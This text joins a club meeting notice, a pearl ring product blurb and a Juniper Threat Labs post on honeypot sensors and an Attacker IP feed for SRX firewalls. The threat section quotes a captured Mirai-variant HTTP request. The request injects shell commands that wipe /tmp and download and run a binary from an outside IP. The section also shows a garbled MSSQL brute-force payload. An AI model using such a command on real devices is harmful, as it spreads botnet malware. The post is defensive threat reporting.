We meet Monday nights 7- 8:30 in Manson’s Hall. Jan.7 to March 11
for more info: firstname.lastname@example.org


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Tahitian Pearl sterling silver ring.
Also available in 14Kt white gold and yellow gold
This ring takes inspiration from the sensuous curves and natural beauty of the “Vahine”, as she moves to the rhythm of the sea. The luminous pearl appears to be captured in this enchanting dance.
Find your Ring Size
For more information or to purchase this piece


Juniper Threat Labs (JTL) has a network of sensors throughout the world that we use to monitor cyber security threats. These threats can range from Brute Force attacks against logins, such as SSH, FTP, telnet and RDP, to more sophisticated attacks against SMB, Citrix and databases. The JTL sensors are designed to mimic the majority of common operating systems currently on the internet in both up-to-date patched and unpatched systems.
These sensors are located in every continent, with the exception of Antarctica, and focus on locations that might be tempting to attackers, as well as locations that are a focus for certain threat groups. We monitor the attack locations and look for trends of which locations have become a hotbed of activity. The map below is an example of attacks happening in real-time, showing the point of origin of attacks against the Juniper Threat Labs’ sensors.
Juniper Threat Labs also employs various types of sensors within its intelligence network. These sensors pick up numerous attacks on all 65,535 different network ports. We see the well-known ports attacked regularly, but threat actors commonly spread their attacks across the entire fourth layer of the TCP/IP stack. This chart shows the spread of attacks across one set of sensors over a seven day period.
The sensors are rotated out regularly to provide a larger footprint for potential attackers, as well as to prevent attackers from identifying these sensors as research devices. Using these sensors, we see attacks that range from simple IoT device attacks, such as this attack targeting a common Digital Video Recorder using the Mirai botnet.
GET /shell?cd+/tmp;rm+-rf+*;wget+220.127.116.11/beastmode/b3astmode.arm7;chmod+777+/tmp/b3astmode.arm7;sh+/tmp/b3astmode.arm7+BeastMode.Rep.Jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive
Currently, Mirai is one of the most common botnets we are seeing attack IoT devices. Variants of Mirai have developed with over 70 different vulnerabilities and rising. Some popular variants like Okiru, Masuta and IoTroop (and, most recently, SORA, UNSTABle Hoaxcall or Mirai XTC) are making the rounds. While there are some guesses as to the number of variants of Mirai, no one can be certain of how many different developers have taken the code and made it their own.
We also see daily brute force attacks against numerous different software packages. One of the most common is MSSQL database. The attack shown below is one of the thousands of different brute force attacks we see on a daily basis.
Mssqla5yqbm5,mo`~!@ ~#$%^&*(),.; 000000a0 ��,
Juniper SecIntel offers curated threat intelligence that is continuously updated, actionable and validated by Juniper Threat Labs. This includes a Command and Control (CnC) feed that provides Command and Control IPs that attackers are using to establish persistence, control malware or maintain their connection to your network. We also recently added a new Attacker IP feed that contains IPs that were seen attempting to compromise our sensor network to establish the persistence that the attacker is seeking to maintain.
IPs are collected within a broker, then separated into attack threat types and aggregated into various categories that will be used to enhance this feed, as well as create new feeds that can be acted on via Juniper firewalls and routers. Each attacker IP is assigned a threat value from 1 -10, with 10 being the highest severity. As time goes on, if no additional malicious activity is seen by our sensors from a particular IP, its threat level will wane and then drop off completely.
The IPs that are harvested from these sensors are then automatically vetted and cross-referenced with a DNS threat feed that maps out related domains, IPs and infrastructure to mitigate potential false positives. This will also include reputation data from other companies and partners who are participating in research to identify insecure or compromised systems on the internet.
To take advantage of the new Attacker IP feed, make sure to have the SecIntel service configured on the SRX to protect against inbound traffic.
Step 1) Check to see the feed is enabled in the ATP Cloud Portal.
Step 2) Create a Threat Prevention Policy that will permit, block and log IPs, URLs and domains of a certain threat level. The example below uses Juniper best practices and permits from threat level 1-4, logs from 5-7 and then blocks from 8-10.
Step 3) Create a security policy for the SRX Series firewall that uses the SecIntel feature on inbound traffic from the internet.
In closing, while Juniper Threat Labs has considerable visibility into attacks in the wild, we want to emphasize that no security vendor has full visibility into every attack or every threat actor active on the internet. That is why we partner with many third parties to gain a better visibility into the big picture, including the Cyber Threat Alliance where we share our intelligence and we gain insight from other security vendors. Our priority is to protect our customers networks and make the internet a safer place for everyone.